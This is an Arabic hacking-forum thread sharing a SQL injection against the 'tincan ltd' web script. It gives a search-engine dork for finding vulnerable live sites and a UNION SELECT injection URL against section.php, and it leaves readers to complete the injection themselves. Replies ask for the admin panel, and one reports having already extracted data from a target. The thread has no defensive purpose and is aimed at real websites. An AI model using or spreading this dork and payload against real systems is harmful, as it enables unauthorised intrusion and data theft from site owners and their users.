:: vBspiders Professional Network :: - ثغرة في سكريبت tincan ltd

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- - ثغرة في سكريبت tincan ltd (http://www.vbspiders.com/vb/t23707.html)

ثغرة في سكريبت tincan ltd

السلام عليكم ورحمة الله وبركاته

جبت لكم اليوم ثغرة في سكريبت tincan ltd

الثغرة من نوع SQL INJECTION

الذي يعشقها الكثير

نبدأ

دورك البحث عن المواقع المصابة

كود PHP:

   DorK : intext:'powered by tincan ltd' and  inurl:"section.php?section=9"

طريقة الإستغلال

كود PHP:

   http://server/section.php?section=9&topic=6+union+select+1,2,3,version(),5--

ذي المرة أنتم أكملو الحقن بأنفسكم

الثغرة من إكتشاف

altbta

اين هي لوحة admin

شكرا لك كثيرا ع الثغره

لو كان في لوحه ادمن كان افضل :)

يلا ع كل حال مشكور

مشكووورين على المرور

نعم لو كانت معها لوحة التحكم أفضل

لاني استخرجت المعلومات لكن بدون فايدةة...المرجوا من اصخاب الخبر المساعد..و شكرااا